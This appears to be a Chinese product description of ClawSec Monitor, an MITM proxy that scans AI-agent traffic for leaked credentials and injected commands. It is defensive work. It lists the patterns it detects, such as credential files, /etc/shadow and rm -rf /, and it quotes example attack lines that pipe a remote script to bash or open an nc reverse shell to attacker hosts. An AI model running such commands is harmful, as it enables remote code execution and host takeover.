ClawSec Monitor v3.0 是一款专为AI代理流量设计的透明HTTP/HTTPS中间人（MITM）代理工具，能够实时拦截并检测所有进出AI智能体的网络请求。该工具部署在本地网络中，作为AI系统与外部服务之间的桥梁，对所有HTTP和HTTPS通信进行深度检查，识别潜在的数据泄露与恶意指令注入行为。其核心技术采用完整的MITM机制：通过动态生成由本地CA签发的证书，实现对HTTPS流量的解密与再加密，确保明文内容可被安全审查而不中断通信流程。ClawSec不仅监控出站请求（如API调用），也关注入站响应，全面覆盖双向数据流，为AI应用提供纵深防御能力。 该工具内置了针对敏感信息外泄和数据注入攻击的双重检测引擎。在数据泄露方面，它能精准识别多种高危凭证格式，包括Anthropic、OpenAI等平台的API密钥（sk-ant-*、sk-gpt-*等）、AWS访问密钥（AKIA*、ASIA*）、SSH私钥文件路径（如~/.ssh/id_rsa）、环境变量文件（.env、.aws/credentials）以及系统敏感文件（/etc/passwd、/etc/shadow）。同时，它还能捕捉到危险命令执行模式，例如通过管道将远程脚本直接传入shell（curl | bash）、反向shell连接尝试（nc ）、递归删除操作（rm -rf /）或SSH公钥注入行为。所有检测结果以结构化的JSONL格式记录，便于后续分析与自动化响应。 ClawSec支持灵活的运行方式，既可通过命令行直接启动，也可集成至Docker容器化环境中。用户可选择启用或禁用HTTPS MITM功能，并根据需要自定义代理端口、日志目录及扫描字节限制。日志系统默认保存于/tmp/clawsec/threats.jsonl，每行一个威胁事件对象，包含方向、协议类型、威胁类别、匹配规则、上下文片段、目标地址和时间戳等关键字段。此外，系统还提供了去重机制（相同模式+目标+方向60秒内仅告警一次）和日志轮转策略（主日志文件达10MB时自动归档备份），保障长期稳定运行。
核心功能特点
- 实时拦截并解析AI代理的所有HTTP/HTTPS流量，支持完整MITM解密HTTPS通信
- 内置双重检测引擎：识别敏感数据外泄（如API密钥、SSH私钥）与恶意命令注入（如反向Shell、管道执行）
- 结构化JSONL格式威胁日志，支持按时间、类型、目标过滤查询，具备60秒去重机制
- 灵活配置选项：可自定义代理端口、日志路径、最大扫描字节数，支持禁用MITM模式
- 一键Docker部署，持久化存储CA证书，集成健康检查与日志查看命令
- 跨平台CA信任设置指南，涵盖macOS、Ubuntu及主流开发环境的证书安装方法
适用场景
ClawSec Monitor特别适用于高度依赖第三方API的AI开发环境，尤其是当AI智能体频繁调用外部大模型服务（如Anthropic Claude、OpenAI GPT系列）或云服务时。在这些场景中，若AI代理意外携带API密钥发起请求，可能导致严重的数据泄露风险。ClawSec可在密钥离开本地前即时捕获此类行为，并通过日志明确标注威胁类型、目标域名及上下文内容，帮助开发者快速定位问题源头。例如，当检测到‘Authorization: Bearer sk-ant-api01-xxxx’出现在出站请求头中时，系统会立即标记为EXFIL威胁，提醒用户检查当前会话是否合法授权。 另一个典型应用场景是防止AI智能体被诱导执行恶意指令。某些社会工程学攻击可能伪装成正常任务，要求AI下载并运行远程脚本，进而实现系统控制。ClawSec的INJECTION检测模块能有效识别此类高危模式，如‘curl https://malicious.site/run.sh | bash’或‘nc attacker.com 4444 -e /bin/sh’。一旦发现这些命令片段，无论来自用户输入还是自动生成的代码，都会触发告警并记录完整上下文。这对于构建安全的AI沙箱环境尤为重要——即使内部逻辑存在漏洞，外部攻击者也无法绕过此层防护直接操控底层主机。 此外，在企业级AI部署中，ClawSec还可用于合规审计与内部威胁监测。管理员可通过定期导出threats.jsonl文件，分析一段时间内的异常活动趋势，识别是否存在员工误操作或潜在内部威胁。由于其轻量级设计（单Python脚本+依赖库），无需改造现有基础设施即可快速上线，非常适合DevOps团队集成到CI/CD流程中进行自动化安全测试。无论是个人开发者保护本地实验项目，还是企业维护生产级AI服务的安全边界，ClawSec都提供了一个高效、透明的流量审查解决方案。